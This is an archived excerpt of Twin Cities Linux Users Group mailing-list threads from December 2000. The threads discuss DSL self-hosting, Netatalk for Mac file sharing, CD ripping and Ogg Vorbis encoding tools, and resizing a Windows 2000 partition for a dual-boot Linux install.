(i think the prices are accurate) > > My domain is pointing to my DNS servers. I talked Qwaste into > doing reverse delegation for DNS to my servers (they said they > normally dont unless you have a business-class line). I run > DNS and mail from my own servers with a friend who has a > similar setup as my domain backup for mail and DNS. Until > Qwaste screwed in my new apartment this service has been > excellent (provided you can wait through the poor service when > you need to make changes which is usually not often). > > Not sure about covad's prices and how they compete. > > Jason > > On Fri, 29 Dec 2000, Jason J wrote: > > > If I have a static IP and an always on connection that is basically half a T1, > > why not take full advantage of it. Why not host my own mail and dns and other > > services so I don't have to rely on an ISP. If for some reason mine should fail I > > can always use the ISP's mail servers and DNS servers as a back up. This way I > > don't have to pay any more charges and I have easy physical access to my server > > if I want to make any hardware swaps. I have to have a server anyway, for > > firewalling, MASQ'ing and VPN. I like having my family's email stored on family > > property and not sitting on someone else's server where it can be read or deleted > > at someone else's request. There are alot of other reasons that I wouldnt want to > > share a colo server that I dont feel like typing out. > > > > Anyway, these comments do not answer my question and are just negative criticism > > of my connection usage. I just want to know if anyone knows if I can trust Covad > > to stay in business. And I also want to know if anyone has opinions on which > > company is better, Covad or Qwest. > > > > Thank you all in advance for your help. > > > > > > > > Bob Tanner wrote: > > > > > Quoting Scott Dier (dieman@ringworld.org): > > > > * Jason J [001228 23:16]: > > > > > I host several domains for myself and family members. > > > > > Email accounts for those domains > > > > > > > > I really can't wait until the trend for this sort of dsl usage falls > > > > away and back into groups of people grouping together to fund colocated > > > > machines. It's really a shame on how many people get burned by all this > > > > DSL instablity. Most ISP's dont just go around shutting off colocated > > > > customers. :) > > > > > > > > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > > > > DSL part of the equation out. > > > > > > There is the whole "root-envy" thing on shared colocated boxes. Everyone just > > > wants the power and they don't want to share. > > > > > > -- > > > Bob Tanner | Phone : (952)943-8700 > > > http://www.mn-linux.org | Fax : (952)943-8500 > > > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001229/c53a61bc/attachment.html From mkroska at readynetgo.com Fri Dec 29 10:40:28 2000 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: <5.0.2.1.0.20001229022039.009ed8d0@mail.vikingelectronics.com> Message-ID: I hate to even think about throwing out a little flame bait but... We have a pretty "mixed-bag" environment here (you could call it a 'heterogenius network', MacOS, Linux, Win98, Win2KPro) and after searching for a long time (over 12 months), we started with a Mac Fileserver running AppleShareIP, which worked pretty good and played nice with the PCs but not so great with Linux. We recently updated to a Win2K server...I have to admit, I was more than hesitant, but the integration of all the flavors of OSs was pretty seemless. The Mac FileShare being built in, and it appears as an SMB-mountable share to Linux. We were able to use a "competitive upgrade license" because of an old version of Novell someone here owned, 10 user was about 5 bills. I'm running the Win2K on a P-200 with 128 Mb ram, the GUI could be faster but it actually performs as good as the G3 we had before for a fileserver. I know you were looking for an open-source solution, but I wanted to throw out my 2c worth. It really does get tough to find good, solid solutions that play nice with everything... Comments? MK On Fri, 29 Dec 2000, Bill Layer wrote: > DAVE is notoriously buggy... I've used it in the last year with very > limited success. > > At 06:58 PM 12/28/00 -0600, you wrote: > >Anyone know of a way to get MacOS to talk to a Samba server running under > >Linux? > > > >I see DAVE out there, but I was wondering if there is an open source solution? > > > Bill > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- ________________________________________________________ ReadyNET Go!, Inc. - Building your Business on the net ________________________________________________________ Mark J. Kroska MIS Director 320.656.0765 Voice 888.447.3239 Toll Free 320.203.7052 Fax http://www.readynetgo.com mailto:mkroska@readynetgo.com ________________________________________________________ From tim at tneu.visi.com Fri Dec 29 04:39:38 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: <20001228185853.L21627@real-time.com> Message-ID: On Thu, 28 Dec 2000, Bob Tanner wrote: > Since the mailing list archives are down, I had to post without doing my > research. :-) > > Anyone know of a way to get MacOS to talk to a Samba server running under Linux? > > I see DAVE out there, but I was wondering if there is an open source solution? Certainly! (if your server is Linux). Netatalk. You can't directly talk to samba, but you can set up the same shares that you do in samba under netatalk. It's really not that difficult to set up. If you search on "netatalk" there are "howto" documents out there. I have shared both disk and printers this way. (just set the mac printer to a postscript printer, and point it to your "ghostscript" printer) -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ Samba In-Reply-To: <20001228185853.L21627@real-time.com> Message-ID: On Thu, 28 Dec 2000, Bob Tanner wrote: > Since the mailing list archives are down, I had to post without doing my > research. :-) > > Anyone know of a way to get MacOS to talk to a Samba server running under Linux? > > I see DAVE out there, but I was wondering if there is an open source solution? Certainly! (if your server is Linux). Netatalk. You can't directly talk to samba, but you can set up the same shares that you do in samba under netatalk. It's really not that difficult to set up. If you search on "netatalk" there are "howto" documents out there. I have shared both disk and printers this way. (just set the mac printer to a postscript printer, and point it to your "ghostscript" printer) -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ Samba In-Reply-To: <5.0.2.1.0.20001229022039.009ed8d0@mail.vikingelectronics.com> Message-ID: <001101c071b6$2e721970$650aa8c0@cccu.com> At 06:58 PM 12/28/00 -0600, you wrote: >Anyone know of a way to get MacOS to talk to a Samba server running under >Linux? > > I see DAVE out there, but I was wondering if there is an open source > solution? I believe the Samba site recommends using one Netatalk or some other Appletalk emulator to bridge the gap -- you should be able to set it up to share the same directories that Samba does. Unfortunately, it appears that your choices are presently limited to that or shelling out for Dave. -- Eric Hillman UNIX Sysadmin/Webmaster City & County Credit Union ehillman@cccu.com From dcsherman at qwest.net Fri Dec 29 11:32:31 2000 From: dcsherman at qwest.net (Dave Sherman) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: <20001222213650.K27815@real-time.com> References: <20001222213650.K27815@real-time.com> Message-ID: <00122911323100.01125@dedannshae.ssbs.com> Hey all -- I am looking around for a good CD ripper/mp3 encoder, and it appears that there are a LOT of them out there. Just s simple search at freshmeat turned up a bunch of hits. So I'm wondering, does anyone on the list have a suggestion or two for good apps in this arena? I don't care if it's a console app, X-based, or whatever. I run Window Maker for my wm, and I am pretty much desktop-environment-agnostic. Although if you can suggest a nice WM dock app, that might be cool. Dave Sherman -- Quid quid latine dictum sit, altum viditur. From dopp at acm.cs.umn.edu Fri Dec 29 11:46:40 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: <00122911323100.01125@dedannshae.ssbs.com>; from dcsherman@qwest.net on Fri, Dec 29, 2000 at 11:32:31AM -0600 References: <20001222213650.K27815@real-time.com> <00122911323100.01125@dedannshae.ssbs.com> Message-ID: <20001229114640.A91959@sorry.cs.umn.edu> I use grip.e and it's great. It's a front-end to a variety of rippers and encoders. For ripping, I use cdparanoia. For encoding, I use oggenc, but I think that LAME is a decent MP3 encoder. http://chinstrap.cylant.com/~stephen/ Gabe On Fri, Dec 29, 2000 at 11:32:31AM -0600, Dave Sherman wrote: > Hey all -- > > I am looking around for a good CD ripper/mp3 encoder, and it appears > that there are a LOT of them out there. Just s simple search at > freshmeat turned up a bunch of hits. > > So I'm wondering, does anyone on the list have a suggestion or two for > good apps in this arena? I don't care if it's a console app, X-based, > or whatever. I run Window Maker for my wm, and I am pretty much > desktop-environment-agnostic. Although if you can suggest a nice WM > dock app, that might be cool. > > Dave Sherman > -- > Quid quid latine dictum sit, altum viditur. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "I know what you want! You coveteth my ice cream bar!!" - Commander Hoek (Ren) in "Space Madness" -------------------------------------------------------------------------------- From cbidler at talkware.net Fri Dec 29 11:32:14 2000 From: cbidler at talkware.net (Helper Monkey) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder References: <20001222213650.K27815@real-time.com> <00122911323100.01125@dedannshae.ssbs.com> Message-ID: <3A4CCA9E.6000107@talkware.net> Dave Sherman wrote: > Hey all -- > > I am looking around for a good CD ripper/mp3 encoder, and it appears > that there are a LOT of them out there. Just s simple search at > freshmeat turned up a bunch of hits. > > So I'm wondering, does anyone on the list have a suggestion or two for > good apps in this arena? I don't care if it's a console app, X-based, > or whatever. I run Window Maker for my wm, and I am pretty much > desktop-environment-agnostic. Although if you can suggest a nice WM > dock app, that might be cool. > > Dave Sherman Go with oggenc! The Vorbis/Ogg format is technically superior, [fF]ree, and there's an xmms plugin for it readily available. Look at http://www.vorbis.com for downloads, etc. As far as ripping a CD to PCM/WAV format, cdparanoia is a console-based app that seems to work fine. MP3 encoders themselves are a more complex issue. My co-workers swear by xing, but it's commercial. I've used bladeenc, and it seems serviceable for my meager needs (128Kbps was as hard as I pushed it). But seriously, look at Ogg Vorbis. It's much higher sound quality in the same amount of disk space. -- <------------------------Chris H. Bidler, Internet Helper Monkey-------------------------> The drive banged 3-4 times the head against its endrun, maybe to BE SURE it was there ... "*Beep TAka TAka TAka TAka -whirr- ..." -- simulated persona = "The Cube", node #251, of http://www.forum2000.org From austad at marketwatch.com Fri Dec 29 12:10:38 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder Message-ID: I use grip with oggenc, make sure your files get saved with a .ogg extension, not .mp3 if you use oggenc. http://www.vorbis.com There are plugins for winamp, sonique, xmms, and a couple of others. WAY better sound quality than MP3, and it's GPL'd. > -----Original Message----- > From: Helper Monkey [mailto:cbidler@talkware.net] > Sent: Friday, December 29, 2000 11:32 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] CD ripper/ MP3 encoder > > > Dave Sherman wrote: > > > Hey all -- > > > > I am looking around for a good CD ripper/mp3 encoder, and > it appears > > that there are a LOT of them out there. Just s simple search at > > freshmeat turned up a bunch of hits. > > > > So I'm wondering, does anyone on the list have a suggestion > or two for > > good apps in this arena? I don't care if it's a console > app, X-based, > > or whatever. I run Window Maker for my wm, and I am pretty much > > desktop-environment-agnostic. Although if you can suggest a nice WM > > dock app, that might be cool. > > > > Dave Sherman > > > Go with oggenc! The Vorbis/Ogg format is technically > superior, [fF]ree, > and there's an xmms plugin for it readily available. > > Look at http://www.vorbis.com for downloads, etc. > > > As far as ripping a CD to PCM/WAV format, cdparanoia is a > console-based > app that seems to work fine. MP3 encoders themselves are a > more complex > issue. My co-workers swear by xing, but it's commercial. I've used > bladeenc, and it seems serviceable for my meager needs > (128Kbps was as > hard as I pushed it). But seriously, look at Ogg Vorbis. It's much > higher sound quality in the same amount of disk space. > > -- > <------------------------Chris H. Bidler, Internet Helper > Monkey-------------------------> > The drive banged 3-4 times the head against its endrun, maybe > to BE SURE > it was there ... > "*Beep TAka TAka TAka TAka -whirr- ..." > -- simulated persona = "The Cube", node #251, of http://www.forum2000.org _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From dopp at acm.cs.umn.edu Fri Dec 29 12:35:32 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: ; from austad@marketwatch.com on Fri, Dec 29, 2000 at 12:10:38PM -0600 References: Message-ID: <20001229123532.C91959@sorry.cs.umn.edu> On Fri, Dec 29, 2000 at 12:10:38PM -0600, Austad, Jay wrote: > I use grip with oggenc, make sure your files get saved with a .ogg > extension, not .mp3 if you use oggenc. http://www.vorbis.com There are > plugins for winamp, sonique, xmms, and a couple of others. WAY better sound > quality than MP3, and it's GPL'd. > There's a distinction to be made here: oggenc is GPL'd, but the OggVorbis format is Public Domain. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "I know what you want! You coveteth my ice cream bar!!" - Commander Hoek (Ren) in "Space Madness" -------------------------------------------------------------------------------- From tanner at real-time.com Fri Dec 29 12:43:25 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: ; from tim@tneu.visi.com on Fri, Dec 29, 2000 at 04:39:38AM -0600 References: <20001228185853.L21627@real-time.com> Message-ID: <20001229124325.N21627@real-time.com> Quoting tim (tim@tneu.visi.com): > Netatalk. You can't directly talk to samba, but you can set up the same > shares that you do in samba under netatalk. > > It's really not that difficult to set up. If you search on > "netatalk" there are "howto" documents out there. > > I have shared both disk and printers this way. (just set the mac printer > to a postscript printer, and point it to your "ghostscript" printer) I forgot about this one. The problem then is you have to maintain to conf files, but that is looking like a path of least resistence. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From andyzb at ltiflex.com Fri Dec 29 13:37:27 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder References: <20001229123532.C91959@sorry.cs.umn.edu> Message-ID: <3A4CE7F7.58DF0B38@ltiflex.com> For encoding mp3 go with lame. It the best of the encoders under Linux (of the encoders I know about anyway.) The documentation is a bit sparse, but there isn't that much to document. For ripping use cdparinoia. Unlike similar programs such as cdda2wav, cdparanoia goes to great lengths to try to extract the audio information without any artifacts such as jitter. As a front end I use grip. It's not too hard to configure and once you get all the command line options in there that you want you don't have to remember them. Also nice is that it can hook into free cddb and get the song titles. Slick. There was a console front end I used to use, I think it was called cdgrab. Whatever it was it was pretty decent. Since I recently lost my mp3s to drive failure, I'll have to reencode them. Hmm...maybe I'll ogg the buggers... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 -------------- next part -------------- A non-text attachment was scrubbed... Name: andyzb.vcf Type: text/x-vcard Size: 367 bytes Desc: Card for Andy Zbikowski Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001229/8caf9b4b/andyzb.vcf From esper at sherohman.org Fri Dec 29 14:06:36 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: <3A4CE7F7.58DF0B38@ltiflex.com>; from andyzb@ltiflex.com on Fri, Dec 29, 2000 at 01:37:27PM -0600 References: <20001229123532.C91959@sorry.cs.umn.edu> <3A4CE7F7.58DF0B38@ltiflex.com> Message-ID: <20001229140636.I15309@sherohman.org> On Fri, Dec 29, 2000 at 01:37:27PM -0600, Andy Zbikowski wrote: > There was a console front end I used to use, I think it was called cdgrab. It's pretty slick, although it's been renamed from 'cdgrab' to 'abcde'. Just type 'abcde', fill in track info if CDDB doesn't have it, and it does everything automatically. Also, the current Debian version of abcde defaults to ogg if an appropriate encoder is available. -- SGI products are used [to]... creat[e] the 'Bugs'... that entertain us in theatres and at home. - SGI job posting Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From austad at marketwatch.com Fri Dec 29 14:18:28 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] CD ripper/ MP3 encoder Message-ID: > failure, I'll have to reencode them. Hmm...maybe I'll ogg the > buggers... Everything I've been doing lately is Ogg, however, the oggenc encoder is pretty slow. A 4 minute song takes about 4 mins to encode on a PII 450. Of course, the last time I used LAME, it was about equally as slow. Of course, if you're archiving your music, who cares if it takes a long time to encode. Might as well do it high quality the first time, since you'll probably be listening to it several years down the road. Until you play you encoded music through a nice high quality sound system, you don't appreciate how much better a good MP3 encoder or Ogg makes it sound. > -----Original Message----- > From: Andy Zbikowski [mailto:andyzb@ltiflex.com] > Sent: Friday, December 29, 2000 1:37 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] CD ripper/ MP3 encoder > > > For encoding mp3 go with lame. It the best of the encoders > under Linux (of > the encoders I know about anyway.) The documentation is a bit > sparse, but > there isn't that much to document. > > For ripping use cdparinoia. Unlike similar programs such as > cdda2wav, cdparanoia goes to great lengths to try to extract > the audio > information without any artifacts such as jitter. > > As a front end I use grip. It's not too hard to configure and > once you get > all the command line options in there that you want you don't have to > remember them. Also nice is that it can hook into free cddb > and get the song > titles. Slick. > > There was a console front end I used to use, I think it was > called cdgrab. > Whatever it was it was pretty decent. Since I recently lost > my mp3s to drive > failure, I'll have to reencode them. Hmm...maybe I'll ogg the > buggers... > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > From cgahlon at citilink.com Fri Dec 29 14:30:13 2000 From: cgahlon at citilink.com (Christopher Gahlon) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] Windoze 2K woes... Message-ID: <3A4CF455.CBE1AA10@citilink.com> I've been lurking the list for a while now, and I've seen a lot of help here I can't find anywhere else on the net. I have a laptop with W2K Pro on it and I'd like to resize the partition to install linux on it. I've defraged the drive but windows appears to leave some small amount of information at the end of the disk. I've made a ghost image, so I'm not worried about loosing anything. Is there a disk editor out there (maybe one that works like Norton's diskedit) that will work on a FAT-32 partition. I just want to delete the info at the end of the disk so I can resize it. I'd rather not buy commercialre-paritioning software, as I'd only use it once. Any suggestions? Chris Gahlon From blutgens at sistina.com Fri Dec 29 15:24:54 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] Windoze 2K woes... In-Reply-To: <3A4CF455.CBE1AA10@citilink.com>; from cgahlon@citilink.com on Fri, Dec 29, 2000 at 02:30:13PM -0600 References: <3A4CF455.CBE1AA10@citilink.com> Message-ID: <20001229152454.B14755@athena.sistina.com> On Fri, Dec 29, 2000 at 02:30:13PM -0600, Christopher Gahlon wrote: >commercialre-paritioning software, as I'd only use it once. Any >suggestions? > Just back up your good stuff and blow it away. You'll spend far more time fooling with it anyway. Besides everyone know doze needs to be reinstalled 3-4 times a year anyway. Though why you'd bother with that crappy OS I'll never know. Cheers. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... 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Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "I watch bad movies in my own home because I'm insane. I've been driven mad by them, and like heroin, I keep wanting more, even though it's collapsing my heart." - Mike Nelson, MST3k ------------------------------------------------------------------------------- From austad at marketwatch.com Fri Dec 29 15:32:05 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:15 2005 Subject: [TCLUG] Windoze 2K woes... Message-ID: I just used the standard resize option in the Mandrake install on my Win2k partition, and it worked just fine. I didn't defrag anything first either. Jay > -----Original Message----- > From: Christopher Gahlon [mailto:cgahlon@citilink.com] > Sent: Friday, December 29, 2000 2:30 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Windoze 2K woes... > > > I've been lurking the list for a while now, and I've seen a > lot of help > here I can't find anywhere else on the net. > > I have a laptop with W2K Pro on it and I'd like to resize the > partition > to install linux on it. I've defraged the drive but windows > appears to > leave some small amount of information at the end of the disk. I've > made a ghost image, so I'm not worried about loosing > anything. Is there > a disk editor out there (maybe one that works like Norton's diskedit) > that will work on a FAT-32 partition. I just want to delete > the info at > the end of the disk so I can resize it. I'd rather not buy > commercialre-paritioning software, as I'd only use it once. Any > suggestions? > > Chris Gahlon > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mtsqph at yahoo.com Fri Dec 29 15:40:59 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... Message-ID: <20001229214059.19658.qmail@web10304.mail.yahoo.com> --- Christopher Gahlon wrote: > > I have a laptop with W2K Pro on it and I'd like to > resize the partition > to install linux on it. Wipe the disk!!! Install linux making the CD the the bootup and install a FULL INSTALL... from a CD... just make sure you have a modem connect that is Linux ready... dump the w2k!!! DUMP THE WINDOWS!!! (the reason I emphisize this is that in my experience it is either one or the other on any computer... you can't run both without some kind of system failure. Linux is stable if it is the only OS... at least that is my experience... and make sure it is a pentium or K6-2 or 3 CPU 233 or better with as much RAM as you can stuff in that sucker!!!) good luck... __________________________________________________ Do You Yahoo!? Yahoo! Photos - Share your holiday photos online! http://photos.yahoo.com/ From austad at marketwatch.com Fri Dec 29 15:32:05 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... Message-ID: I just used the standard resize option in the Mandrake install on my Win2k partition, and it worked just fine. I didn't defrag anything first either. Jay > -----Original Message----- > From: Christopher Gahlon [mailto:cgahlon@citilink.com] > Sent: Friday, December 29, 2000 2:30 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Windoze 2K woes... > > > I've been lurking the list for a while now, and I've seen a > lot of help > here I can't find anywhere else on the net. > > I have a laptop with W2K Pro on it and I'd like to resize the > partition > to install linux on it. I've defraged the drive but windows > appears to > leave some small amount of information at the end of the disk. I've > made a ghost image, so I'm not worried about loosing > anything. Is there > a disk editor out there (maybe one that works like Norton's diskedit) > that will work on a FAT-32 partition. I just want to delete > the info at > the end of the disk so I can resize it. I'd rather not buy > commercialre-paritioning software, as I'd only use it once. Any > suggestions? > > Chris Gahlon > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Fri Dec 29 16:03:39 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] CD ripper/ MP3 encoder Message-ID: The latest version of LAME will encode in Ogg format. I don't know if it's much faster or better though. > -----Original Message----- > From: dopp@acm.cs.umn.edu [mailto:dopp@acm.cs.umn.edu] > Sent: Friday, December 29, 2000 3:08 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] CD ripper/ MP3 encoder > > > > > > Everything I've been doing lately is Ogg, however, the > oggenc encoder is > > pretty slow. A 4 minute song takes about 4 mins to encode > on a PII 450. Of > > course, the last time I used LAME, it was about equally as slow. > > > Solution: I have dual pIII 800's. I just run an instance of > oggenc on each > CPU and can encode 2 4-minute songs in under 2 minutes :) > I'm currently > encoding all ~170 of my CDs and I'd love to be able to do it > faster. Are > there any other (better) ogg encoders? > > Gabe > -- > -------------------------------------------------------------- > ------------------ > Gabe Turner | X-President, > UNIX Systems Administrator, | Assoc. for > Computing Machinery > U of M Supercomputing Institute for | University > of Minnesohta > Digital Simulation and Advanced Computation | > dopp@acm.cs.umn.edu > > "I watch bad movies in my own home because I'm insane. I've > been driven > mad by them, and like heroin, I keep wanting more, even though it's > collapsing my heart." > - Mike Nelson, MST3k > -------------------------------------------------------------- > ----------------- > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Fri Dec 29 16:24:02 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... References: <20001229214059.19658.qmail@web10304.mail.yahoo.com> Message-ID: <3A4D0F02.C7B97B7E@ltiflex.com> > w2k!!! DUMP THE WINDOWS!!! (the reason I emphisize > this is that in my experience it is either one or the > other on any computer... you can't run both without > some kind of system failure. System failure? That's not good. But the reality is linux should coexist without issue with any operating system. I've had Linux, Windows NT, and Windows 98 installed on the same box with no issues. Currently the only issue with my dual boot system is that my aging hard drives that I used for windows died. On the bright side that leaves me with an all SCSI system. :) In the end it is probally easiest to wipe windows and reinstall, but keep in mind that many laptops (espically Compaqs) have special windows install disks and you can only get a working copy of windows from those special disks. This wouldn't be so bad except that those disks have a nasty habit of completely redoing your partitions. I'm pretty sure that RedHat and Mandrake come with a stripped down version of Partition Magick to resize drives. They probally still ship with disk druid as well. Since you haven't converted your Windows partition to NTFS resizing the drive shouldn't be too much of a problem, but beyond the programs I mentioned above I can't think of anything else to do it... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 -------------- next part -------------- A non-text attachment was scrubbed... Name: andyzb.vcf Type: text/x-vcard Size: 367 bytes Desc: Card for Andy Zbikowski Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001229/d008b045/andyzb.vcf From cgahlon at citilink.com Fri Dec 29 16:18:57 2000 From: cgahlon at citilink.com (Christopher Gahlon) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... References: Message-ID: <3A4D0DD0.81F873DE@citilink.com> Thanks Jay! What version of Mandrake did you use? I've got to keep a copy of windows for work reasons. And how else am I supposed to play Starcraft, Worms, or Delta Force 2? Oh yeah, and does anyone know of a disk editor that supports fat32 partitions? Chris Gahlon "Austad, Jay" wrote: > I just used the standard resize option in the Mandrake install on my Win2k > partition, and it worked just fine. I didn't defrag anything first either. > > Jay > > > -----Original Message----- > > From: Christopher Gahlon [mailto:cgahlon@citilink.com] > > Sent: Friday, December 29, 2000 2:30 PM > > To: tclug-list@mn-linux.org > > Subject: [TCLUG] Windoze 2K woes... > > > > > > I've been lurking the list for a while now, and I've seen a > > lot of help > > here I can't find anywhere else on the net. > > > > I have a laptop with W2K Pro on it and I'd like to resize the > > partition > > to install linux on it. I've defraged the drive but windows > > appears to > > leave some small amount of information at the end of the disk. I've > > made a ghost image, so I'm not worried about loosing > > anything. Is there > > a disk editor out there (maybe one that works like Norton's diskedit) > > that will work on a FAT-32 partition. I just want to delete > > the info at > > the end of the disk so I can resize it. I'd rather not buy > > commercialre-paritioning software, as I'd only use it once. Any > > suggestions? > > > > Chris Gahlon > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From cgahlon at citilink.com Fri Dec 29 17:00:18 2000 From: cgahlon at citilink.com (Christopher Gahlon) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... References: <20001229214059.19658.qmail@web10304.mail.yahoo.com> <3A4D0F02.C7B97B7E@ltiflex.com> Message-ID: <3A4D1782.9675BFA8@citilink.com> Well you pretty much summed up my dilemma. The re-install disks wipe your drive and bring you back to factory settings with all your previous partitions removed. I have had dual boot linux / 98, linux / NT4 systems working fine in the past, but I've always had the media to do a clean install of both and not had any problems. I'm glad to hear they're using some form of partition magic for RH/Mandrake. I've heard many people say partition magic worked great for them. Now I'll just extract the partitioning program from the install set so I can use it in the future... Thanks for the help. Chris Andy Zbikowski wrote: > > w2k!!! DUMP THE 